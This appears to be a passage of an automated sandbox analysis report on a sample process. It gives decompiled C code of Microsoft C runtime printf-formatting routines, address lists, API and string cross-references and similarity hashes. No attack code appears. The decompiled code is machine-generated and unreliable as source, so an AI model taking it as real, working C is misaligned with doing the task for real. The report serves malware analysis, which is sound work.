														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041E220();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00422D10(_t573))) = 0x16;
										E00422AA0(_t558, _t573, _t621, _t622, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041ACC0(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E0042BB60(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041E220();
									_t626 = _t626 + 0x14;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041ACC0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L00422D10(_t560))) = 0x16;
									E00422AA0(_t558, _t560, _t621, _t622, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041ACC0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x440f80; // 0x404478
					 *(_t623 - 4) = _t593;
					_t497 = E0041DCC0( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x004349d5
0x004349d5
0x004349d5
0x004349d5
0x004349d5
0x004349d5
0x004349d9
0x004349de
0x004349e1
0x004349ee
0x00000000
0x00000000
0x004349f0
0x004349f0
0x004349fa
0x00434a16
0x00434a19
0x00434a1f
0x00434a47
0x00434a4e
0x00434a54
0x00434a57
0x00434a5a
0x00434a60
0x00434a63
0x00434a21
0x00434a21
0x00434a27
0x00434a2a
0x00434a2d
0x00434a33
0x00434a36
0x00434a39
0x00434a3b
0x00434a3e
0x00434a3e
0x00434a66
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x0043513c
0x00435142
0x0043514c
0x00435161
0x00435176
0x00435178
0x0043517c
0x0043517c
0x00435163
0x00435163
0x00435167
0x00435167
0x0043514e
0x0043514e
0x00435152
0x00435152
0x0043514c
0x0043518c
0x00435198
0x004351ae
0x004351b3
0x004351b3
0x004351c9
0x004351ce
0x004351d7
0x004351df
0x004351f5
0x004351fa
0x004351fa
0x004351df
0x00435201
0x004352d5
0x004352e8
0x004352ed
0x00000000
0x00435207
0x00435207
0x0043520b
0x00000000
0x00000000
0x00435211
0x00435211
0x0043521e
0x00435227
0x0043522d
0x0043522d
0x0043523c
0x00435244
0x00000000
0x00000000
0x0043524a
0x00435253
0x00435272
0x00435277
0x0043527a
0x00435289
0x00435296
0x004352a1
0x004352a1
0x00000000
0x004352a1
0x00435298
0x0043529f
0x004352ad
0x004352c6
0x004352cb
0x00000000
0x004352cb
0x00000000
0x0043529f
0x004352d3
0x004352f0
0x004352f7
0x004352ff
0x00435315
0x0043531a
0x0043531a
0x004352ff
0x004352f7
0x0043531d
0x00435321
0x00435329
0x0043532e
0x00435331
0x00435331
0x00435338
0x00435338
0x0043440f
0x00434415
0x00434422
0x00434427
0x00000000
0x0043443a
0x00434444
0x0043446b
0x00434452
0x00434463
0x00434463
0x00434444
0x00434475
0x0043447b
0x00434487
0x0043448a
0x00434498
0x0043449b
0x004344a8
0x0043454d
0x00434553
0x00434560
0x00000000
0x00000000
0x00434566
0x0043456c
0x00000000
0x00434573
0x00434573
0x0043458b
0x00434590
0x00434593
0x00434595
0x0043464f
0x00434662
0x00434667
0x00000000
0x0043459b
0x004345ae
0x004345b3
0x004345b9
0x004345bb
0x004345c4
0x004345c4
0x004345c7
0x004345d3
0x004345d7
0x004345dd
0x004345df
0x004345e4
0x004345e6
0x004345eb
0x004345f0
0x004345f2
0x004345f7
0x004345fa
0x004345fd
0x004345ff
0x004345ff
0x004345fd
0x00434600
0x00434600
0x00434607
0x00000000
0x00434609
0x0043460e
0x0043462a
0x00434632
0x0043463f
0x00434644
0x00000000
0x00434644
0x00434607
0x00000000
0x0043466f
0x0043466f
0x00434676
0x00434679
0x0043467c
0x0043467f
0x00434682
0x00434685
0x00434688
0x0043468f
0x00434696
0x00000000
0x00000000
0x004346a2
0x004346a2
0x004346a9
0x004346b5
0x004346b8
0x004346be
0x004346c5
0x00000000
0x00000000
0x004346c7
0x004346c7
0x004346cd
0x004346cd
0x004346d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434717
0x00434717
0x0043471e
0x00434721
0x0043474b
0x0043474e
0x0043474e
0x00434751
0x00434758
0x00434758
0x0043475c
0x00434723
0x00434723
0x0043472f
0x00434732
0x00434736
0x00434738
0x0043473b
0x0043473b
0x0043473e
0x00434744
0x00434746
0x00434746
0x00434749
0x00000000
0x00000000
0x00434764
0x00434764
0x00000000
0x00000000
0x00434770
0x00434770
0x00434777
0x0043477a
0x0043479a
0x0043479d
0x0043479d
0x004347a7
0x004347a7
0x004347ab
0x0043477c
0x0043477c
0x00434788
0x0043478b
0x0043478f
0x00434791
0x00434791
0x00434798
0x00000000
0x00000000
0x004347b3
0x004347b3
0x004347ba
0x004347c6
0x004347c9
0x004347cf
0x004347d6
0x004348e9
0x00000000
0x004348e9
0x004347dc
0x004347dc
0x004347e2
0x004347e2
0x004347e9
0x00000000
0x0043481f
0x0043481f
0x00434822
0x00434825
0x00434828
0x00434850
0x00434850
0x00434853
0x00434856
0x00434859
0x0043487e
0x0043487e
0x00434881
0x00434884
0x00434887
0x004348c0
0x004348d1
0x00000000
0x004348d1
0x00434889
0x00434889
0x0043488c
0x0043488f
0x00434892
0x00000000
0x00000000
0x00434894
0x00434894
0x00434897
0x0043489a
0x0043489d
0x00000000
0x00000000
0x0043489f
0x0043489f
0x004348a2
0x004348a5
0x004348a8
0x00000000
0x00000000
0x004348aa
0x004348aa
0x004348ad
0x004348b0
0x004348b3
0x00000000
0x00000000
0x004348b5
0x004348b5
0x004348b8
0x004348bb
0x004348be
0x004348c2
0x00000000
0x004348c2
0x00000000
0x004348be
0x0043485b
0x0043485b
0x0043485e
0x00434862
0x00434865
0x00000000
0x00434867
0x0043486a
0x0043486d
0x00434870
0x00434873
0x00434879
0x00000000
0x00434879
0x00434865
0x0043482a
0x0043482a
0x0043482d
0x00434831
0x00434834
0x00000000
0x00434836
0x00434839
0x0043483c
0x0043483f
0x00434842
0x00434848
0x00000000
0x00434848
0x00000000
0x004348d3
0x004348d6
0x004348d9
0x00000000
0x00000000
0x004347f0
0x004347f0
0x004347f3
0x004347f6
0x004347f9
0x00434811
0x00434814
0x00434814
0x00434817
0x004347fb
0x004347fe
0x00434801
0x00434807
0x0043480c
0x0043480c
0x00000000
0x00000000
0x004348de
0x004348de
0x004348e1
0x004348e1
0x004348e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004348ee
0x004348ee
0x004348f5
0x00434901
0x00434904
0x0043490a
0x00434911
0x00000000
0x00435132
0x00435132
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x004350ec
0x004350ef
0x004350f2
0x004350f5
0x004350f8
0x004350fb
0x00435101
0x00435101
0x00435101
0x00435109
0x0043510d
0x00000000
0x00000000
0x0043510f
0x0043510f
0x00435112
0x00435115
0x00435115
0x0043511a
0x0043511d
0x00435120
0x00435123
0x00435126
0x00435129
0x0043512c
0x0043512c
0x0043512f
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434917
0x0043491d
0x0043491d
0x00434924
0x00000000
0x00434c7e
0x00434c7e
0x00434c85
0x00434c8c
0x00434c8c
0x00434c8f
0x00000000
0x00000000
0x0043492b
0x0043492e
0x0043492e
0x00434934
0x00434936
0x00434939
0x00434939
0x0043493e
0x0043493e
0x00000000
0x00000000
0x00434a6b
0x00434a6e
0x00434a6e
0x00434a73
0x00434a75
0x00434a78
0x00434a78
0x00434a7e
0x00434a7e
0x00000000
0x00000000
0x00434e4b
0x00434e4b
0x00000000
0x00000000
0x00000000
0x00000000
0x00434c95
0x00434c98
0x00434c9b
0x00434c9e
0x00434ca4
0x00434ca7
0x00434cae
0x00434cb2
0x00434cbd
0x00434cbd
0x00434cc1
0x00434cd8
0x00434cd8
0x00434cdf
0x00434ce1
0x00434ce1
0x00434ce8
0x00434ce8
0x00434cef
0x00434d00
0x00434d0f
0x00434d12
0x00434d16
0x00434d2c
0x00434d18
0x00434d18
0x00434d1b
0x00434d21
0x00434d27
0x00434d27
0x00434d16
0x00434d36
0x00434d39
0x00434d3c
0x00434d3f
0x00434d42
0x00434d45
0x00434d4b
0x00434d51
0x00434d59
0x00434d5a
0x00434d5d
0x00434d5e
0x00434d61
0x00434d62
0x00434d69
0x00434d6a
0x00434d6d
0x00434d6e
0x00434d71
0x00434d72
0x00434d78
0x00434d79
0x00434d87
0x00434d89
0x00434d8f
0x00434d8f
0x00434d95
0x00434d97
0x00434d9b
0x00434d9d
0x00434da5
0x00434da6
0x00434da9
0x00434daa
0x00434db8
0x00434dba
0x00434dba
0x00434d9b
0x00434dbd
0x00434dc4
0x00434dc7
0x00434dcc
0x00434dcc
0x00434dd2
0x00434dd4
0x00434ddc
0x00434ddd
0x00434de0
0x00434de1
0x00434df0
0x00434df2
0x00434df2
0x00434dd2
0x00434df5
0x00434df8
0x00434dfb
0x00434dfe
0x00434e03
0x00434e09
0x00434e0c
0x00434e0f
0x00434e0f
0x00434e12
0x00434e12
0x00434e15
0x00434e21
0x00000000
0x00434e21
0x00434cc3
0x00434cc3
0x00434cca
0x00434ccd
0x00000000
0x00000000
0x00434ccf
0x00434ccf
0x00000000
0x00434ccf
0x00434cb4
0x00434cb4
0x00000000
0x00000000
0x00434941
0x00434944
0x00434944
0x0043494a
0x004349a5
0x004349ad
0x004349b4
0x004349ba
0x004349c0
0x0043494c
0x0043494c
0x00434956
0x0043495a
0x00434962
0x00434969
0x00434976
0x0043497d
0x00434989
0x0043498f
0x00434996
0x00434998
0x00434998
0x0043499f
0x004349c7
0x004349cd
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00000000
0x00434e29
0x00434e2c
0x00434e2f
0x00434e32
0x00000000
0x00000000
0x00434b87
0x00434b87
0x00434b93
0x00434b99
0x00434b9e
0x00434ba0
0x00434c4a
0x00434c4d
0x00434c4d
0x00434c50
0x00434c64
0x00434c6a
0x00434c70
0x00434c52
0x00434c52
0x00434c5f
0x00434c5f
0x00434c72
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00434ba6
0x00434ba6
0x00434ba6
0x00434ba8
0x00434bb6
0x00434baa
0x00434baa
0x00434baa
0x00434bc0
0x00434bc6
0x00434bcc
0x00434bd3
0x00434bd5
0x00434bda
0x00434bdc
0x00434be1
0x00434be6
0x00434be8
0x00434bed
0x00434bf0
0x00434bf3
0x00434bf5
0x00434bf5
0x00434bf3
0x00434bf6
0x00434bfd
0x00434c45
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00434bff
0x00434bff
0x00434c04
0x00434c20
0x00434c28
0x00434c32
0x00434c35
0x00434c3a
0x00000000
0x00434c3a
0x00000000
0x00434e8c
0x00434e8c
0x00434e96
0x00434e96
0x00434e9c
0x00434e9e
0x00434ea1
0x00434ea1
0x00434ea7
0x00434ea7
0x00000000
0x00000000
0x00434e44
0x00434e44
0x00000000
0x00000000
0x00434a81
0x00434a81
0x00434a85
0x00434a93
0x00434a96
0x00434a87
0x00434a87
0x00434a87
0x00434a9c
0x00434aa2
0x00434aa8
0x00434ab4
0x00434aba
0x00434aba
0x00434ac0
0x00434b27
0x00434b27
0x00434b2b
0x00434b2d
0x00434b33
0x00434b33
0x00434b36
0x00434b39
0x00434b3f
0x00434b3f
0x00434b3f
0x00434b4b
0x00434b4e
0x00434b54
0x00434b56
0x00000000
0x00000000
0x00434b58
0x00434b58
0x00434b5e
0x00434b61
0x00434b63
0x00000000
0x00000000
0x00434b65
0x00434b6b
0x00434b6e
0x00434b6e
0x00434b76
0x00434b76
0x00434b7c
0x00434b7c
0x00434b7f
0x00000000
0x00434ac2
0x00434ac2
0x00434ac2
0x00434ac6
0x00434ac8
0x00434acd
0x00434acd
0x00434ad0
0x00434ad7
0x00434ada
0x00434ae0
0x00434ae0
0x00434ae0
0x00434aec
0x00434aef
0x00434af5
0x00434af7
0x00000000
0x00000000
0x00434af9
0x00434af9
0x00434aff
0x00434b02
0x00434b04
0x00000000
0x00000000
0x00434b06
0x00434b0c
0x00434b0f
0x00434b0f
0x00434b17
0x00434b1d
0x00434b20
0x00434b22
0x00434b82
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00435132
0x00000000
0x00434e3b
0x00434e3b
0x00000000
0x00000000
0x00434e57
0x00434e57
0x00434e61
0x00434e61
0x00434e6b
0x00434e6b
0x00434e71
0x00434e73
0x00434e7d
0x00434e7d
0x00434e80
0x00434e83
0x00434e83
0x00434eaa
0x00434ead
0x00434ead
0x00434eb2
0x00434ed4
0x00434ed4
0x00434eda
0x00434efc
0x00434efc
0x00434eff
0x00434f46
0x00434f46
0x00434f49
0x00434f66
0x00434f6a
0x00434f72
0x00434f72
0x00434f74
0x00434f7a
0x00434f4b
0x00434f4b
0x00434f4f
0x00434f57
0x00434f58
0x00434f5e
0x00434f5e
0x00434f01
0x00434f04
0x00434f04
0x00434f07
0x00434f25
0x00434f31
0x00434f34
0x00434f35
0x00434f3b
0x00434f09
0x00434f09
0x00434f0d
0x00434f15
0x00434f16
0x00434f17
0x00434f1d
0x00434f1d
0x00434f41
0x00434edc
0x00434edc
0x00434ee8
0x00434eee
0x00434eee
0x00434eb4
0x00434eb4
0x00434ec0
0x00434ec6
0x00434ec6
0x00434f83
0x00434f83
0x00434f86
0x00434fc8
0x00434fc8
0x00434fce
0x00434fd4
0x00434fda
0x00000000
0x00434f88
0x00434f88
0x00434f88
0x00434f8f
0x00000000
0x00000000
0x00434f91
0x00434f91
0x00434f9c
0x00434fa2
0x00434fa4
0x00434faa
0x00434fad
0x00434faf
0x00434fb5
0x00434fbe
0x00434fc3
0x00434fe0
0x00434fe3
0x00434fe3
0x00434fe8
0x00434fed
0x00434fed
0x00434ff3
0x00434ff5
0x00434ffb
0x00435001
0x00435001
0x0043500a
0x0043500a
0x00434ff3
0x00435010
0x00435014
0x00435022
0x00435025
0x00435028
0x0043502f
0x00435031
0x00435031
0x00435016
0x00435016
0x00435016
0x0043503e
0x0043503e
0x00435044
0x00435046
0x00435046
0x0043504d
0x00435050
0x00435053
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00435063
0x00435069
0x00435069
0x0043506f
0x00000000
0x00000000
0x00435071
0x00435071
0x00435074
0x00435077
0x0043507e
0x00435085
0x0043508d
0x00435093
0x00435096
0x00435099
0x004350a0
0x004350ac
0x004350b2
0x004350b8
0x004350bf
0x004350c1
0x004350c7
0x004350c7
0x004350cd
0x004350cd
0x004350d3
0x004350d6
0x004350dc
0x004350e1
0x004350e4
0x00435053
0x00435053
0x00435059
0x0043505c
0x0043505f
0x00435061
0x00000000
0x00000000
0x00000000
0x00435061
0x00435053
0x00434f93
0x00434f93
0x00434f9a
0x00000000
0x00000000
0x00000000
0x00434f9a
0x00000000
0x00435132
0x00435132
0x00435136
0x00000000
0x00000000
0x00000000
0x00435136
0x00000000
0x00000000
0x004346f1
0x004346f4
0x004346f7
0x00000000
0x00000000
0x004346fc
0x004346ff
0x00434704
0x00000000
0x00000000
0x004346e6
0x004346e6
0x004346e9
0x004346ec
0x00000000
0x00000000
0x004346db
0x004346de
0x004346e1
0x00000000
0x00000000
0x00434709
0x00434709
0x0043470c
0x0043470c
0x0043470f
0x00000000
0x00000000
0x00434712
0x00000000
0x00000000
0x004344ae
0x004344b0
0x004344be
0x004344b2
0x004344b2
0x004344b2
0x004344c8
0x004344ce
0x004344db
0x004344dd
0x004344e2
0x004344e4
0x004344e9
0x004344ee
0x004344f0
0x004344f5
0x004344fb
0x004344fd
0x004344fd
0x004344fb
0x004344fe
0x00434505
0x00000000
0x00434507
0x0043450c
0x00434528
0x00434530
0x0043453d
0x00434542
0x00435401
0x0043540e
0x0043540e
0x00434505
0x004344a8
0x0043533d
0x00435344
0x0043535b
0x0043535b
0x00435365
0x00435365
0x0043536b
0x00435378
0x0043537a
0x0043537f
0x00435381
0x00435386
0x0043538b
0x0043538d
0x00435392
0x00435398
0x0043539a
0x0043539a
0x00435398
0x004353a2
0x004353ed
0x004353f6
0x004353fb
0x004353a4
0x004353a9
0x004353c5
0x004353cd
0x004353da
0x004353df
0x004353df
0x00000000
0x004353a2
0x00435346
0x0043534d
0x00000000
0x00000000
0x0043534f
0x0043534f
0x00000000
0x0043534f
0x00435132
0x004349fc
0x004349fc
0x00434a02
0x00434a09
0x00434a0e
0x00434a11
0x00000000
0x00434a11

APIs

_get_int_arg.LIBCMTD ref: 004349D9
_strlen.LIBCMT ref: 00434A09
_write_multi_char.LIBCMTD ref: 004351AE
_write_string.LIBCMTD ref: 004351C9
_write_multi_char.LIBCMTD ref: 004351F5
_wctomb_s.LIBCMTD ref: 00435272

Strings

xD@, xrefs: 004349FC
_output_s_l, xrefs: 0043451E
("Incorrect format specifier", 0), xrefs: 004344DD, 00434523
-, xrefs: 0043514E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 004344E9, 00434519

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 2232461714-1238480882
Opcode ID: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction ID: e1b4eb7e3a0c4d4642d705a5113df99a3ad0d1a6833c3721fe5bac152a6909d1
Opcode Fuzzy Hash: e1a2fc9e301970ecd8c094f61f34861cce430d8b90e0bd18686be32c72381d5e
Instruction Fuzzy Hash: 4BA18E70D016289FDF24DF54CC49BEEB7B1AB88305F2481DAD4186B291E7786E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043BDC4, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043BDC4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t482;
				signed int _t484;
				signed int _t487;
				void* _t492;
				signed int _t494;
				void* _t502;
				void* _t520;
				signed int _t524;
				void* _t534;
				signed int _t567;
				signed int _t573;
				void* _t594;
				void* _t595;
				signed int _t596;
				void* _t598;
				void* _t599;

				L0:
				while(1) {
					L0:
					_t595 = __esi;
					_t594 = __edi;
					_t534 = __ebx;
					_t482 = E00428200(_t596 + 0x14);
					_t599 = _t598 + 4;
					 *((intOrPtr*)(_t596 - 0x474)) = _t482;
					if( *((intOrPtr*)(_t596 - 0x474)) == 0) {
						goto L76;
					}
					L75:
					__ecx =  *(__ebp - 0x474);
					if( *(__ecx + 4) != 0) {
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x474);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x474);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L80:
						while(1) {
							L187:
							if( *(_t596 - 0x28) != 0) {
								goto L212;
							}
							L188:
							if(( *(_t596 - 0x10) & 0x00000040) != 0) {
								if(( *(_t596 - 0x10) & 0x00000100) == 0) {
									if(( *(_t596 - 0x10) & 0x00000001) == 0) {
										if(( *(_t596 - 0x10) & 0x00000002) != 0) {
											 *((short*)(_t596 - 0x14)) = 0x20;
											 *(_t596 - 0x1c) = 1;
										}
									} else {
										 *((short*)(_t596 - 0x14)) = 0x2b;
										 *(_t596 - 0x1c) = 1;
									}
								} else {
									 *((short*)(_t596 - 0x14)) = 0x2d;
									 *(_t596 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t596 - 0x4ac)) =  *((intOrPtr*)(_t596 - 0x18)) -  *(_t596 - 0x24) -  *(_t596 - 0x1c);
							if(( *(_t596 - 0x10) & 0x0000000c) == 0) {
								E0043C990(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
							}
							E0043C9D0( *(_t596 - 0x1c), _t596 - 0x14,  *(_t596 - 0x1c),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
							_t599 = _t599 + 0x10;
							if(( *(_t596 - 0x10) & 0x00000008) != 0) {
								if(( *(_t596 - 0x10) & 0x00000004) == 0) {
									E0043C990(0x30,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
									_t599 = _t599 + 0x10;
								}
							}
							if( *(_t596 - 0xc) != 0) {
								L208:
								E0043C9D0( *(_t596 - 0x24),  *(_t596 - 4),  *(_t596 - 0x24),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
								_t599 = _t599 + 0x10;
								goto L209;
							} else {
								L201:
								if( *(_t596 - 0x24) <= 0) {
									goto L208;
								}
								L202:
								 *(_t596 - 0x4b0) =  *(_t596 - 4);
								 *(_t596 - 0x4b4) =  *(_t596 - 0x24);
								while(1) {
									L203:
									 *(_t596 - 0x4b4) =  *(_t596 - 0x4b4) - 1;
									if( *(_t596 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t520 = E0041ACF0(_t596 - 0x40);
									_t524 = E0043B430(_t596 - 0x458,  *(_t596 - 0x4b0),  *((intOrPtr*)( *((intOrPtr*)(E0041ACF0(_t596 - 0x40))) + 0xac)), _t520);
									_t599 = _t599 + 0x10;
									 *(_t596 - 0x4b8) = _t524;
									if( *(_t596 - 0x4b8) > 0) {
										L206:
										E0043C930( *(_t596 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0xc;
										 *(_t596 - 0x4b0) =  *(_t596 - 0x4b0) +  *(_t596 - 0x4b8);
										continue;
									}
									L205:
									 *(_t596 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								if( *(_t596 - 0x44c) >= 0) {
									if(( *(_t596 - 0x10) & 0x00000004) != 0) {
										E0043C990(0x20,  *((intOrPtr*)(_t596 - 0x4ac)),  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
										_t599 = _t599 + 0x10;
									}
								}
							}
							L212:
							if( *(_t596 - 0x20) != 0) {
								L0041C3E0( *(_t596 - 0x20), 2);
								_t599 = _t599 + 8;
								 *(_t596 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t596 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t596 + 0xc))));
								_t535 =  *(_t596 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t596 + 0xc)) =  *((intOrPtr*)(_t596 + 0xc)) + 2;
								if(( *(_t596 - 0x454) & 0x0000ffff) == 0 ||  *(_t596 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t596 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t596 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t596 - 0x4d8) = 0;
									} else {
										 *(_t596 - 0x4d8) =  *(( *(_t596 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t596 - 0x450) =  *(_t596 - 0x4d8);
								_t573 =  *(_t596 - 0x450) * 9;
								_t494 =  *(_t596 - 0x45c);
								_t543 = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t596 - 0x45c) = ( *(_t573 + _t494 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t596 - 0x45c) != 8) {
									L16:
									 *(_t596 - 0x4e0) =  *(_t596 - 0x45c);
									if( *(_t596 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t596 - 0x4e0) * 4 +  &M0043C824))) {
										case 0:
											L18:
											 *(_t596 - 0xc) = 1;
											E0043C930( *(_t596 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t596 + 8)), _t596 - 0x44c);
											_t599 = _t599 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t59 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
											__ecx =  *_t59 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
